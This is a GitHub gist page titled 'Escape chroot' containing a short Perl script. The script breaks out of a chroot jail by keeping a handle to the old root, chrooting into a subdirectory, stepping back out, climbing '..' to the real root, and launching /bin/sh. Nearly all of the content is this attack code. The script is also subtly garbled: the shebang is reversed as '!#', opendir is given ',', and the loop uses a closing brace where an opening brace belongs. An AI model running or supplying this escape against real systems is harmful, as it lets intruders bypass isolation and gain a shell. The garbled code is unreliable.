Skip to content

Instantly share code, notes, and snippets.

@rothgar
Created January 12, 2015 18:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rothgar/5136a26baf13b977570f to your computer and use it in GitHub Desktop.
Save rothgar/5136a26baf13b977570f to your computer and use it in GitHub Desktop.
Escape chroot
!#/usr/bin/perl -w
chdir "/"; opendir JAILROOT, ",";
mkdir "subdir"; chdir "subdir";
chroot "."; chdir(*JAILROOT);
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) }
chdir "..";
}
chroot ".";
system("/bin/sh");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment